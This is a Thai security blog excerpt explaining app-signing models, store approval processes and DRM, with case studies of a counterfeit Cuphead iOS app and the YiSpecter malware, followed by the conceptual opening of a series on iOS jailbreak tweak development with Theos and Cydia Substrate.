รูปแบบของ Microsoft จะคล้ายกับ Apple คือ ใช้ Certificate ในการ Sign แอปพลิเคชันเหมือนกัน แต่ว่า Microsoft ปล่อยให้ผู้เผยแพร่เป็นคนสร้าง Certificate ขึ้นมาเอง แทนที่จะสร้างให้เหมือนกับ Apple ขั้นตอนก็คือ เริ่มต้นจากการสร้าง key-pair ขึ้นมา (Public key & Private key) แล้วทำการแปลง key-pair ให้ไปเป็น Personal Infomation Exchange (.pfx) เพื่อนำไปใช้ Sign แอปพลิเคชันต่อไป แต่การให้สร้าง Certificate เองก็ไม่ได้หมายความว่ารูปแบบนี้ของ Microsoft ไม่ปลอดภัย เพราะ Certificate ดังกล่าวจะต้องมี Root CA ที่เชื่อถือได้เหมือนกัน (ต้องมี Certificate ที่ออกอย่างถูกต้อง ไม่ใช่ Self-Signed)
[ข้อมูลเพิ่มเติม how-to-create-a-package-signing-certificate](https://docs.microsoft.com/en-us/windows/desktop/appxpkg/how-to-create-a-package-signing-certificate){rel=""nofollow""}
## ประโยชน์ของ Application Siging model
1. ช่วยให้ผู้เผยแพร่และผู้ใช้งานมั่นใจได้ว่าแอปพลิเคชันนั้นจะไม่ถูกดัดแปลงโดยผู้อื่นอย่างแน่นอน และผู้เผยแพร่เพียงคนเดียวเท่านั้นที่สามารถการแก้ไข/ดัดแปลงแอปพลิเคชันแล้วเผยแพร่ใหม่ในนามของแอปพลิเคชันเดิมได้ หรือก็คือ Version Update
2. แอปพลิเคชันที่ถูก Sign ด้วย Identity เดียวกัน จะสามารถแชร์ข้อมูลให้กันและกันได้ด้วยการตั้งค่าแอปพลิเคชันให้อยู่ใน App Group เดียวกัน \*\*แอปพลิเคชันจะสามารถเข้าถึง shared directory ที่ถูกกำหนดไว้เท่านั้น ไม่สามารถเข้าถึงข้อมูลที่อยู่ใน Sandbox หรือแทรกแซงการทำงานระหว่างแอปพลิเคชันได้
## ข้อจำกัดของ Application Signing model
1. แม้ว่าแอปพลิเคชันถูก Sign โดยผู้เผยแพร่ที่น่าเชื่อถือเพียงใดก็ไม่ได้การันตีว่าแอปพลิเคชันดังกล่าวมีความปลอดภัยหรือไร้ช่องโหว่
2. การ Sign แอปพลิเคชันไม่ได้การันตีว่าแอปพลิเคชันไม่มี Malware แอบแฝง
3. หาก Certificate หรือ keystore ของผู้เผยแพร่ถูกขโมยไป คนที่ได้ Certificate หรือ keystore นั้นไปก็เท่ากับมีสิทธิในการแก้ไขหรือดัดแปลงแอปพลิเคชันทั้งหมดของผู้เผยแพร่ได้อย่างเต็มที่โดยที่ยังคง Identity ของผู้เผยแพร่ไว้ได้ ซึ่งถือว่าส่งผลกระทบอย่างมหาศาลทั้งต่อผู้เผยแพร่และผู้ใช้
ด้วยข้อจำกัดของ Application Signing model ทำให้การ Sign แอปพลิเคชันอย่างเดียวอาจไม่เพียงพอที่จะปกป้องผู้ใช้ให้ปลอดภัยจากการติดตั้งแอปพลิเคชันทั้งหลายได้ ดังนั้น Platform Provider แต่ละเจ้าจึงต้องมีกระบวนการคัดกรองแอปพลิเคชันให้แน่ใจเสียก่อนว่าแอปพลิเคชันดังกล่าวจะไม่เป็นภัยต่อผู้ใช้งาน ซึ่งกระบวนการดังกล่าวถูกเรียกว่า Approval Process โดยจะขอพูดถึงในตอนต่อไป
## To be continued…
Part 2
[/blogs/application-signing-model-and-approval-process-2-of-2](https://incognitolab.com/blogs/application-signing-model-and-approval-process-2-of-2)

# Application Signing model and Approval process (2/2)
Part 1
[/blogs/application-signing-model-and-approval-process-1-of-2](https://incognitolab.com/blogs/application-signing-model-and-approval-process-1-of-2)
Application Signing model มีจุดประสงค์หลักเพื่อใช้ในการยืนยันความถูกต้อง (Integrity) ของแอปพลิเคชันว่าไม่ได้ถูกดัดแปลงหรือแก้ไขโดยผู้ที่ไม่ใช่เจ้าของ หรือเรียกง่าย ๆ ก็คือการทำ Digital Signature สำหรับแอปพลิเคชันที่ไม่ได้รับการ Sign จะไม่สามารถนำไปติดตั้งลงบนอุปกรณ์ได้ ทั้งนี้การ Sign แอปพลิเคชันไม่ได้หมายความว่าแอปพลิเคชันนั้นจะปลอดภัยต่อการใช้งาน

## Approval Process
ในการพัฒนาแอปพลิเคชันแน่นอนว่าส่วนใหญ่ต้องการเผยแพร่แอปพลิเคชันของตนเองผ่าน Official Application Store; Google Play Store สำหรับ Android, AppStore สำหรับ Apple และ Microsoft Store สำหรับ Windows
การจะนำแอปพลิเคชันขึ้นไปอยู่บน Official Application Store ได้นั้น แต่ละ Platform Provider จะมีเงื่อนไขในการตรวจสอบแอปพลิเคชันก่อนที่จะอนุมัติให้เผยแพร่บน Official Store ได้แตกต่างกัน โดยจะมี Guideline ให้ผู้เผยแพร่ได้ตรวจทานและเตรียมพร้อมแอปพลิเคชันของตนก่อนส่งเข้าสู่กระบวนการตรวจสอบ อาทิ
- มีการร้องขอสิทธิเกินความจำเป็นหรือไม่
- มีการพยายามคุกคามความเป็นส่วนตัว (Privacy) ของผู้ใช้งานเกินความจำเป็นหรือไม่
- แอปพลิเคชันดังกล่าวมี Malware แฝงมาหรือไม่
- แอปพลิเคชันสามารถใช้งานได้อย่างปกติ ไม่เด้ง ไม่เจ๊ง ไม่สร้างความเสียหายให้กับตัวเครื่อง
- เนื้อหาภายในแอปพลิเคชันเหมาะสมกับเรทที่ตั้งไว้หรือไม่
- มีเนื้อหาไม่เหมาะสมหรือไม่ เช่น การเหยียดเพศ, เหยียดเชื้อชาติ, สร้างความแตกแยก หรือมีเป้าหมายทางการเมือง เป็นต้น
- ฯลฯ
- ดูรายละเอียดเพิ่มเติมสำหรับ [Apple](https://developer.apple.com/app-store/review/guidelines/){rel=""nofollow""}, [Android](https://developer.android.com/distribute/best-practices/launch/launch-checklist){rel=""nofollow""} และ [Microsoft](https://docs.microsoft.com/en-us/windows/uwp/publish/the-app-certification-process){rel=""nofollow""}
ในด้านของความปลอดภัย จุดที่น่าสนใจของกระบวนการนี้คือ เมื่อแอปพลิเคชันได้รับการอนุมัติแล้ว แอปพลิเคชันจะได้รับการ Sign ด้วย Certificate ของ Platform Provider อีกทีหนึ่ง เท่ากับว่าถูก Sign ด้วย 2 Identity คือ 1. ผู้เผยแพร่ และ 2. Platform Provider ซึ่งถือเป็นการการันตีได้ว่าแอปพลิเคชันดังกล่าวผ่านกระบวนการตรวจสอบแล้ว และเป็นการระบุที่มาว่ามาจาก Official Application Store เพราะแอปพลิเคชันที่ไม่ได้ดาวน์โหลดจาก Official Application Store จะไม่ถูก Sign โดย Platform Provider และยังเป็นการลดข้อจำกัดที่เกิดขึ้นกับการ Sign โดยผู้เผยแพร่เพียงคนเดียวอีกด้วย
แม้ว่าแอปพลิเคชันจะถูก Sign ด้วย Certificate ของ Platform Provider แล้วก็ไม่ได้หมายความว่าแอปพลิเคชันนั้นจะปลอดภัยต่อผู้ใช้เพราะมีหลายแอปพลิเคชันที่ผ่านกระบวนการตรวจสอบและยังคงเผยแพร่อยู่บน Official Application Store แต่ยังคงอันตรายต่อผู้ใช้งาน ซึ่งส่วนมากจะเป็นการคุกคามด้านความเป็นส่วนตัว โดยเฉพาะอย่างยิ่งบน Google Play Store เพราะหากเทียบกับ Application Store ของ Platform อื่น Google Play Store มีกระบวนการตรวจสอบแอปพลิเคชันที่รัดกุมน้อยที่สุด อ้างอิงจากผลการสำรวจของเว็บไซต์ [theguardian](https://www.theguardian.com/technology/2018/apr/16/child-apps-games-android-us-google-play-store-data-sharing-law-privacy){rel=""nofollow""} ที่ได้ทำการสำรวจแอปพลิเคชันสำหรับเด็กที่เผยแพร่อยู่บน Google Play Store จำนวน 5,855 แอปพลิเคชัน พบว่า กว่า 57% ของแอปพลิเคชันทั้งหมดมีการคุกคามความเป็นส่วนตัวของผู้ใช้งาน
นอกจากแอปพลิเคชันที่คุกคามความเป็นส่วนตัวแล้ว ยังมีแอปพลิเคชันอันตรายอีกหลากหลายรูปแบบที่ทั้งเคยหรือยังอยู่บน Official Application Store อย่างกรณีของเกม [CUPHEAD](https://store.steampowered.com/app/268910/Cuphead/){rel=""nofollow""}, CUPHEAD คือเกมที่โด่งดังและได้รับคะแนนวิจารณ์ที่ดีทั้งในด้านความสนุกและเนื้อหาที่เหมาะสมกับทุกเพศทุกวัย ทำให้เกม CUPHEAD ขายดีเป็นเทน้ำเทท่าบน PC Platform ทำให้เกมนี้ตกเป็นเป้า วันที่ 18 ธันวาคม 2017 อยู่ ๆ ก็มีการเผยแพร่เกม [CUPHEAD](https://store.steampowered.com/app/268910/Cuphead/){rel=""nofollow""} บน AppStore โดยที่ไม่มีการประกาศจากทีมพัฒนาก่อนหน้าแต่อย่างใดว่าจะมีการพัฒนาเกม CUPHEAD เวอร์ชันมือถือ ที่น่าสนใจก็คือ เนื้อหาต่าง ๆ ของแอปพลิเคชันนี้เหมือนของจริงอย่างไม่มีที่ติ เรียกได้ว่ามองครั้งแรกคงไม่มีใครคิดอย่างแน่นอนว่า CUPHEAD เวอร์ชัน iOS คือของปลอม เพราะว่าชื่อผู้เผยแพร่ ก็คือของสตูดิโอผู้พัฒนาเกมนี้ขึ้นมาจริง ๆ พร้อมคำอธิบายและ Screenshots ที่ดูเหมือนจริงทุกประการ แอปพลิเคชัน CUPHEAD วางขายในราคา $4.99 และที่น่าตกใจกว่านั้นคือแอปพลิเคชันนี้สามารถติดตั้งและเล่นได้จริง ๆ บนมือถือ เพียงแต่ว่าแอปพลิเคชันจะดูแปลก ๆ กดติดบ้างไม่ติดบ้าง เหมือนว่าไม่ได้รองรับเวอร์ชันมือถือแบบสมบูรณ์
{width="100%"}
{width="100%"}
ถ้าสังเกตจากชื่อผู้เผยแพร่เกม CUPHEAD ระหว่างบน Steam กับ AppStore แล้ว จะเห็นได้ว่าต่างกันเพียงจุดเดียว คือ บน AppStore จะใช้ `StudioMDHR`ในขณะที่บน Steam ใช้คำว่า `Studio MDHR `หลังจากเกม CUPHEAD ปลอมถูกเผยแพร่บน AppStore ได้ไม่นาน ทาง Apple ก็ได้ทำการตรวจสอบและระงับการเผยแพร่ของเกมนี้ออกไปได้ในเวลาไม่ถึง 24 ชั่วโมง รวมทั้งคืนเงินให้กับผู้ใช้ทุกคนที่ได้ซื้อแอปพลิเคชันนี้ไป [อ่านข้อมูลเพิ่มเติมเกี่ยวกับกรณีศึกษานี้](https://toucharcade.com/2017/12/18/cuphead-just-had-a-surprise-launch-on-the-app-store-and-it-is-available-now-for-4-99/){rel=""nofollow""}
ในกรณีของเกม CUPHEAD ปลอมบน Google Play Store เองก็มีเช่นเดียวกัน เพียงแต่ว่าเป็นการพยายามลอกเลียนสไตล์เกม CUPHEAD ขึ้นมามากกว่าที่จะหลอกว่าเป็นของจริง
{width="100%"}
สำหรับแอปพลิเคชันที่ไม่ได้รับการอนุมัติ หรือแอปพลิเคชันที่ไม่ได้เผยแพร่ผ่าน Official Application Store แน่นอนว่าจะมีข้อจำกัดจากการ Sign โดยผู้เผยแพร่เพียงคนเดียว แต่การที่แอปพลิเคชันไม่ได้เผยแพร่บน Official Application Store ไม่ได้หมายความว่าแอปพลิเคชันดังกล่าวไม่ปลอดภัย ผู้เผยแพร่ยังคงสามารถเผยแพร่แอปพลิเคชันนั้นด้วยตนเอง หรือเผยแพร่ผ่าน 3rd Party Application Store อย่างกรณีของ Apple ที่มีรองรับการออก Certificate แบบ Enterprise ให้กับผู้เผยแพร่ที่ต้องการพัฒนาแอปพลิเคชันไว้ใช้ในองค์กร ทำให้แอปพลิเคชันที่ถูก Sign ด้วย Enterprise Certificate จะสามารถติดตั้งบนอุปกรณ์ Apple ได้โดยไม่ต้องผ่าน AppStore
อย่างกรณีของ iOS Malware ชื่อ [YiSpecter](https://researchcenter.paloaltonetworks.com/2015/10/yispecter-first-ios-malware-attacks-non-jailbroken-ios-devices-by-abusing-private-apis/){rel=""nofollow""} ที่อาศัย Enterprise Certificate ในการแอบติดตั้งตัวเองลงบนเครื่องของเหยื่อได้โดยที่ไม่มีการแจ้งเตือนความผิดปกติใด ๆ บนเครื่องของเหยื่อเลย แล้วจากนั้นจะใช้ Command and Control server ในการแอบติดตั้งแอปพลิเคชันตามมาอีก 3 แอปพลิเคชัน โดยที่ 3 แอปพลิเคชันนี้สามารถซ่อนตัวเองจากหน้า Springboard ได้ ทำให้ผู้ใช้ที่ตกเป็นเหยื่อไม่สามารถลบออกได้ง่าย ๆ ส่วนอีก 1 แอปพลิเคชันที่เหลือจะปลอมทั้งชื่อและไอคอนให้คล้ายกับว่าเป็นแอปพลิเคชันของระบบทำให้หลอกผู้ใช้ไม่ให้หาเจอได้ง่าย ๆ [ข้อมูลสรุป YiSpecter จากเว็บไซต์ TechTalkThai](https://www.techtalkthai.com/yispecter-first-malware-on-ios-that-can-infect-non-jailbroken-devices-via-api/){rel=""nofollow""}
สิ่งที่น่าตกใจของ Malware ตัวนี้ไม่ใช่แค่เพราะสามารถติดได้ทั้งกับอุปกรณ์ iOS ที่ jailbreak และ non-jailbreak แต่ YiSpecter สามารถแพร่กระจายไปบนอุปกรณ์ iOS โดยที่ไม่มีใครรู้ตัวเลยนานถึง 10 เดือน ภายหลังจากที่ Apple พบ Malware ตัวนี้ก็ได้ทำการเพิกถอน Enterprise Certificate ที่ใช้ Sign ตัว YiSpecter และอีก 3 แอปพลิเคชันออกทั้งหมด พร้อมทั้งยังออกอัปเดตสำหรับ iOS 8.4.1 ขึ้นไปให้ปลอดภัยจาก YiSpecter
ข่าวการเปิดโปง Malware อย่าง YiSpecter ทำให้เป็นที่ฮือฮาอย่างมาก เพราะถือเป็น Malware ตัวแรกที่สามารถติดบนอุปกรณ์ iOS non-jailbreak ได้ และทำให้เกิดข้อสงสัยขึ้นอย่างมากมาย ว่าการที่แอปพลิเคชันถูก Sign โดย Platform Provider ปลอดภัยแล้วจริงหรือ… Certificate ของผู้เผยแพร่ที่ออกโดย Platform Provider ช่วยให้ผู้ใช้ปลอดภัยได้จริงหรือช่วยให้ผู้ไม่หวังดีสามารถโจมตีอุปกรณ์ได้อย่างถูกต้อง
## ประโยชน์ของ Approval Process
1. ช่วยลดข้อจำกัดของ Application Signing model ได้ในระดับหนึ่ง
2. ทุกครั้งที่แอปพลิเคชันมีการอัพเดทเวอร์ชันจะต้องเข้าสู่กระบวนการ Approval Process ใหม่ แต่จะใช้ระยะเวลาในการตรวจสอบไม่นาน เพราะตรวจสอบเพียงส่วนที่มีการแก้ไขหรือเพิ่มเติมเท่านั้น
3. แอปพลิเคชันที่ผ่าน Approval Process แล้วมีสิทธิที่จะถูกถอดถอนได้ตลอดเวลา หากพบว่าเป็นอันตรายต่อผู้ใช้
4. Certificate ของ Mobile Platform Provider ยากต่อการถูกขโมยหรือปลอมแปลงกว่า Certificate ของผู้เผยแพร่
5. แอปพลิเคชันที่เผยแพร่บน Official Application Store จะได้รับการป้องกันจากการถูกคัดลอกด้วย DRM หรือ Copy Protection
## ข้อจำกัดของ Approval Process
1. แอปพลิเคชันที่ผ่านกระบวนการตรวจสอบไม่ได้หมายความว่าแอปพลิเคชันจะปลอดภัยต่อผู้ใช้อย่าง 100%
2. แอปพลิเคชันที่ผ่านกระบวนการตรวจสอบไม่ได้หมายความว่าถูกเผยแพร่โดยผู้เผยแพร่ที่เป็นตัวจริง ไม่ใช่ผู้แอบอ้าง
3. แอปพลิเคชันอันตรายยังคงมีโอกาสที่จะผ่าน Approval process ได้
4. ยังมีช่องทางอื่นสำหรับการเผยแพร่แอปพลิเคชัน ทำให้ Approval process ไม่ใช่กระบวนการบังคับที่ทุกแอปพลิเคชันจะต้องเข้าร่วม
## Copy Protection (Digital Rights Management\:DRM)
การปกป้องแอปพลิเคชันจากการถูกคัดลอกไปเผยแพร่โดยไม่ได้รับอนุญาต คืออีกหนึ่งฟีเจอร์ที่ Official Application Store มอบให้กับผู้เผยแพร่ ซึ่งค่อนข้างมีความซับซ้อนพอสมควร ดังนั้นจะขอพูดถึงแค่ด้านความั่นคงปลอดภัยที่แอปพลิเคชันจะได้เพิ่มขึ้นจาก DRM
DRM หรือ Copy Protection หมายถึงการที่ผู้ใช้จะใช้งานแอปพลิเคชันได้ด้วยการติดตั้งผ่านทาง Official Application Store เท่านั้น ซึ่งแต่ละเจ้าก็จะมีมาตรการป้องกันการติดตั้งแอปพลิเคชันเถื่อนที่แตกต่างกันไป
Apple จะใช้วิธีแทรก 4196 bytes เพิ่มเข้าไปที่ส่วน header ของไฟล์แอปพลิเคชันในตอนที่ผู้ใช้จะดาวน์โหลดจาก AppStore โดยที่ 4196 bytes ถูกเข้ารหัสด้วย public key ของผู้ใช้งาน (key pair ของผู้ใช้จะถูกสร้างขึ้นอัตโนมัติหลังจากที่ผู้ใช้สมัคร Apple id) เมื่อแอปพลิเคชันดาวน์โหลดเสร็จสมบูรณ์ ตัว OS จะพยายามถอดส่วน header ด้วย private key ของผู้ใช้ ซึ่งถ้าผู้ใช้ดาวน์โหลดแอปพลิเคชันดังกล่าวผ่าน AppStores จริง ๆ ก็จะสามารถถอดรหัสได้นั่นเอง ข้อดีอีกอย่างหนึ่งของแอปพลิเคชันที่เผยแพร่บน AppStores คือ ตัว executable ของแอปพลิเคชันจะถูกเข้ารหัสเอาไว้ โดยจะถูกถอดรหัสเมื่อจะรันแอปพลิเคชันเท่านั้น ทำให้แม้ว่าสามารถคัดลอกตัวแอปพลิเคชันออกมาจาก AppStores ได้ก็ยังยากต่อการทำ Reverse Engineering เช่นกัน
Android จะใช้วิธีแทรก metadata ลงไปในส่วน header ของ APK เช่นเดียวกัน โดยเป็นข้อมูลขนาดเล็กที่จะแทรกลงไปในส่วน [APK Signing Block](https://source.android.com/security/apksigning/v2){rel=""nofollow""} ซึ่งตอนที่แอปพลิเคชันถูกดาวน์โหลดลงไปบนเครื่อง ตัว OS จะตรวจสอบ metadata ดังกล่าวเพื่อยืนยันว่าตัวไฟล์แอปพลิเคชันนี้ ถูกดาวน์โหลดมาจาก Google Play Store โดยผู้ใช้งานคนดังกล่าวจริง ๆ
สำหรับแอปพลิเคชันแบบเสียเงินซื้อแทบจะเลี่ยงไม่ได้เลยที่ต้องมี DRM เพื่อป้องกันไม่ให้แอปพลิเคชันของตัวเองถูก Crack และถูกนำไปเผยแพร่ต่อแบบฟรี ๆ แต่สำหรับแอปพลิเคชันที่ปล่อยให้ดาวน์โหลดฟรีแล้วเน้นหารายได้จากค่าโฆษณาหรือการซื้อของภายในแอปพลิเคชันแทนอาจจะไม่กังวลเรื่อง DRM มากนัก หากแอปพลิเคชันจะถูก Crack และนำไปเผยแพร่ต่อ เพียงแต่ว่าจะส่งผลต่อยอดดาวน์โหลด และรายได้จากโฆษณาที่อาจลดลง
## สรุป
ไม่ว่าจะ Application Signing Model หรือ Approval Process ล้วนออกแบบมาเพื่อปกป้องผู้ใช้งานจากแอปพลิเคชันที่ไม่ได้คุณภาพหรือแอปพลิเคชันที่ไม่เหมาะสมเพียงเท่านั้น แม้ว่าแอปพลิเคชันจะถูก sign ด้วยผู้เผยแพร่ที่มีชื่อเสียง และผ่าน Approval Process แล้วก็ไม่ได้หมายความว่าแอปพลิเคชันดังกล่าวจะปลอดภัย เพราะยังมีอีกหลายกรณีที่แอปพลิเคชันชื่อดังเองก็คุกคามผู้ใช้งานเช่นกัน
วิธีป้องกันที่ดีที่สุดสำหรับผู้ใช้งานคือการไม่ติดตั้งแอปพลิเคชันแปลกปลอม ไม่ติดตั้งแอปพลิเคชันที่ไม่ได้อยู่บน Official Application Store โดยไม่จำเป็น แต่หากในกรณีที่หลีกเลี่ยงไม่ได้ก็ควรจะติดตั้งแอปพลิเคชันดังกล่าวลงในมือถือเครื่องที่ไม่มีแอปพลิเคชันหรือข้อมูลสำคัญอย่างเช่น Mobile Banking Application และแอปพลิเคชันทางการเงิน เป็นต้น
สำหรับผู้พัฒนาหรือเผยแพร่แอปพลิเคชันย่อมต้องการให้แอปพลิเคชันของตนเองไม่ตกเป็นเป้าในการถูกนำไป Crack หรือ Mod ซึ่งวิธีการป้องกันสิ่งเหล่านั้นสามารถทำได้หลายวิธี อย่างเช่น การทำ Code Obfuscation, พยายามเผยแพร่แอปพลิเคชันผ่านทาง Official Application Store เท่านั้น, เข้ารหัสไฟล์ต่าง ๆ ของแอปพลิเคชันที่เก็บอยู่บนเครื่อง โดยถอดรหัสเมื่อจะมีการใช้งานเท่านั้น เป็นต้น
---
สุดท้ายนี้ อยากให้ผู้อ่านทุกคนพึงระลึกไว้เสมอว่า ไม่มีสิ่งใดที่ปลอดภัยอย่างแท้จริง มีเพียงสติและความตระหนักเท่านั้นที่จะช่วยให้เราไม่ตกเป็นเหยื่อของผู้ไม่หวังดี
> We will bankrupt ourselves in the vain search for absolute security. :br
> Dwight D. Eisenhower
# The basic of developing iOS Tweak (Part 1/4)
หลาย ๆ คน คงเคย jailbreak iOS กันมาบ้าง และแน่นอนเมื่อ jailbreak แล้วก็ต้องเคยใช้พวก Tweak ทั้งหลายในการปรับแต่ง iOS กันตามใจชอบ หรือบางคนก็ jailbreak เพื่อใช้ application เถื่อน ใช้แล้วเคยสงสัยกันไหมครับว่าจริง ๆ แล้วพวก Tweak ทั้งหลาย ถูกพัฒนาขึ้นมาอย่างไร? ทำงานอย่างไร? ในบทความนี้เราจะมาพูดถึงวิธีการที่จะพัฒนา Tweak สำหรับ application ที่ถูกเขียนด้วย Objective-C ขึ้นมาใช้กันครับ
ก่อนที่จะเข้าเรื่องกันจริง ๆ จัง ๆ ก็อยากจะบอกไว้ก่อนว่าการจะพัฒนา Tweak ขึ้นมาซักอันหนึ่งต้องใช้พื้นฐานความรู้หลายอย่างด้วยกัน โดยในบทความนี้อาจจะไม่ได้ลงรายละเอียดลึกมากทั้งหมด แต่จะลงรายละเอียดในระดับที่ให้พอรู้และทำต่อได้ แล้วจะพยายามหาแทรก reference ไว้ เพื่อให้ไปต่อยอดกันได้นะครับ
เราจะมาปูพื้นฐานสิ่งที่ควรรู้ก่อนที่จะเริ่มลงมือทำกันซักเล็กน้อย โดยจะเริ่มจากภาพใหญ่ และจะค่อย ๆ อธิบายแต่ละหัวข้อลงไปในรายละเอียด และแน่นอนหัวข้อหลักที่ควรจะถูกพูดถึงก่อนก็คือ..
---
## Tweak คืออะไร ทำไมถึงต้องเรียกว่า Tweak?
คำว่า Tweak แปลเป็นภาษาไทย จะมีความหมายว่า บิด, ดึง, ปรับเปลี่ยนเล็กน้อย หากใช้กับ electronic device จะหมายถึงการ tuning หรือการปรับแต่งระบบที่มีความซับซ้อน แต่ในกรณีของ iOS แล้ว Tweak จะหมายถึง [dylib](https://developer.apple.com/library/archive/documentation/DeveloperTools/Conceptual/DynamicLibraries/000-Introduction/Introduction.html#//apple%5Fref/doc/uid/TP40001908-SW1){rel=""nofollow""} (Dynamic Library) ที่สามารถที่จะเพิ่มความสามารถหรือปรับแต่ง process อื่น ให้เป็นไปในแบบที่เราต้องการ
ด้านล่างนี้ก็จะเป็นตัวอย่าง Tweak อันหนึ่งจาก Cydia เอาไว้ปรับสีของ application Notes บน iOS โดยปกติแล้วมันจะไม่สามารถเปลี่ยนสีได้ แต่ Tweak ทำให้มันเป็นไปได้

Tweak ชื่อ NiceNotes จาก Cydia

โครงสร้างของ NiceNotes (ไฟล์ในกรอบสีแดงคือไฟล์ Dynamic Library ที่ใช้ inject ไปที่ process เป้าหมาย)

บางครั้ง feature บน iOS ก็ไม่สามารถตอบสนองความต้องการของเราได้อย่างเพียงพอ Tweak ก็เป็นสิ่งที่เข้ามาช่วย customize ให้เป็นแบบที่เราต้องการได้ เช่น หากต้องการ lock application บาง application ให้จำเป็นต้องใส่ password ก่อนที่จะใช้งานได้ แน่นอนว่า feature ที่มีของ iOS โดยทั่วไปนั้น ไม่สามารถทำได้ แต่ Tweak ชื่อ [AppLocker](https://cydia.saurik.com/package/com.nnfyrbsnss.applocker/){rel=""nofollow""} สามารถตอบสนองความต้องการตรงนี้ได้

สำหรับ Security researcher หลาย ๆ คนคงจะคุ้นชินกับ Tweak เช่น [SSLKillSwitch2](https://github.com/nabla-c0d3/ssl-kill-switch2){rel=""nofollow""}, [IntroSpy](https://isecpartners.github.io/Introspy-iOS/){rel=""nofollow""}, Liberty หรือ JailProtect ซึ่งเป็นเครื่องมือที่ช่วยให้การทดสอบ application บน iOS ทำได้ง่ายขึ้น นอกจากจะใช้งานเป็นอย่างเดียวแล้ว การเข้าใจวิธีการพัฒนา Tweak จะทำให้สามารถ customize เครื่องมือ ให้เป็นไปตามที่ต้องการได้โดยไม่จำเป็นต้องรอ update จากผู้พัฒนา หรือในกรณีที่ดีที่สุดก็คือการพัฒนา Tweak ขึ้นมาเอง เพื่อให้การทำงานเป็นไปได้อย่างสะดวกรวเร็วและง่ายมากยิ่งขึ้น
## ดูแล้วน่าสนใจ อยากทำขึ้นมาบ้าง ต้องทำอย่างไร?
เมื่อพูดจากภาพใหญ่แล้ว Tweak สามารถพัฒนาขึ้นมาได้โดยใช้เครื่องมือ/วิธีการ ได้หลายวิธีด้วยกัน ด้านล่างนี้จะเป็น list ตัวอย่าง (ย้ำว่าตัวอย่าง จริง ๆ แล้วยังมีอีกหลายทาง) ที่สามารถใช้เพื่อช่วยสร้าง Tweak
- ใช้ [Theos](https://theos.dev/){rel=""nofollow""}*—* คือ platform ที่ช่วยในการพัฒนา Tweak และอยู่คู่กับ Jailbreak Developer มาอย่างช้านาน ในบทความนี้จะอธิบายโดยใช้ framework ตัวนี้เพื่อพัฒนา Tweak
- ใช้ application ที่ชื่อว่า [FLEX](https://getdelta.co/){rel=""nofollow""}—เป็น application ที่ช่วยให้พัฒนา Tweak ได้ง่ายขึ้น ผ่านการใช้ GUI โดยที่ไม่จำเป็นต้องพึ่งการเขียนโค้ด
- ใช้ [Frida](https://www.frida.re/){rel=""nofollow""} — น้องใหม่มาแรง เป็นเครื่องมือประเภท Dynamic Instrumentation Toolkit ที่ช่วยในการทำ runtime-patching (แก้ไข logic ของ application ในขณะที่กำลังทำงาน) และ dynamic analysis ได้
- เขียน dylib ขึ้นมาใหม่ แล้ว inject เข้าไปใน application เองเลย ([เพิ่มเติม](https://medium.com/@kennethpoon/how-to-perform-ios-code-injection-on-ipa-files-1ba91d9438db){rel=""nofollow""})
ข้างบนเป็นแค่เครื่องมือ/วิธีการที่ช่วยในการพัฒนา Tweak เท่านั้น แต่ก่อนที่จะใช้เครื่องมือพวกนี้ได้ จะต้องมีพื้นฐานความเข้าใจเกี่ยวกับหัวข้อต่อไปนี้
- การพัฒนา iOS application โดยใช้ Objective-C
- การทำ static/dynamic analysis iOS application
เนื่องจาก Tweak คือการปรับแต่งส่วนที่มีอยู่แล้ว ให้เป็นไปตามที่เราต้องการ และการที่จะปรับแต่งส่วนของ appplication ได้นั้น ต้องใช้ static/dynamic analysis เข้ามาช่วยเพื่อหาส่วนที่จะต้องปรับแต่งนั้นเอง
โดยความรู้ที่เกี่ยวข้องกับทั้งสองเรื่อง จะกระจายกันแทรกอยู่ในเนื้อหาที่จะเขียนถึงต่อไปครับ
## จริง ๆ แล้ว Tweak ทำงานอย่างไรกัน?
Tweak โดยส่วนใหญ่แล้วจะประกอบไปด้วยการ hook method/function บน Objective-C, C และ C++ ซึ่งคำว่า hook ในที่นี่จะเป็นความหมายรวม ๆ ที่หมายถึงการ intercept method/function call หรือ message หรือ event อะไรก็ตามที่เกิดขึ้นกับ method/function เป้าหมาย หรือสามารถหมายถึง การเปลี่ยนแปลงการทำงานของ method/function นั้น ให้เป็นแบบที่เราต้องการ
ในการสร้าง Tweak โดยใช้ Theos (และ Tweak ส่วนใหญ่ใน Cydia) นั้น จะต้องพึ่งพาสิ่งที่เรียกว่า Cydia Substrate (หรือชื่อเก่า MobileSubstrate) เนื่องจาก Theos มีหน้าที่ compile code ที่เราเขียนให้เป็น dylib และสร้าง package ของ Tweak ขึ้นมาเท่านั้น แต่ส่วนที่จะนำ package ไปใช้งานและทำให้ Tweak สามารถทำ runtime-patching กับ process เป้าหมายได้ คือ Cydia Substrate
## Cydia Substrate คืออะไร?

[Cydia Substrate](http://www.cydiasubstrate.com/){rel=""nofollow""} คือ platform ที่ช่วย developer ในการทำ runtime-patching ถูกพัฒนาขึ้นโดย [Jay Freeman (saurik)](https://medium.com/@saurik){rel=""nofollow""} บุคคลสำคัญของวงการ jailbreak iOS ซึ่งเป็นคน ๆ เดียวกับที่พัฒนา Cydia package manager ที่ทุกคนคุ้นเคย

ทั่วไปแล้วเครื่อง jailbreak ทุกเครื่อง จะต้องติดตั้ง Cydia Substrate อยู่แล้ว ถ้าไม่ได้ติดตั้งก็แทบจะใช้ Tweak อะไรไม่ได้เลย
Cydia Substrate เองจะประกอบไปด้วยส่วนที่สำคัญด้วยกัน 3 ส่วนก็คือ
1. MobileHooker — คือส่วนที่ใช้ในการ hook method/function
2. MobileLoader — คือส่วนที่ load code ที่เราเขียนเข้าไปใน process ของ application ที่กำลังทำงานอยู่
3. Safe mode — ในกรณีที่ Tweak ทำให้ [SpringBoard](https://en.wikipedia.org/wiki/SpringBoard){rel=""nofollow""} crash ส่วน MobileLoader จะสามารถตรวจจับได้และทำให้อุปกรณ์เข้าสู่ Safe mode โดย Safe mode จะทำการ disable Tweak ทั้งหมดที่ติดตั้งบนอุปกรณ์และทำให้ SpringBoard กลับมาทำงานต่อได้
> Note: SpringBoard คือ application หลักใน iOS ที่ใช้ในการจัดการ home screen, การ launch application และการ setting ค่าบางอย่างตอนที่อุปกรณ์กำลังเปิดใช้งาน เพราะฉะนั้นถ้า SpringBoard crash ก็แทบจะไม่สามารถใช้งานอุปกรณ์ได้เลย
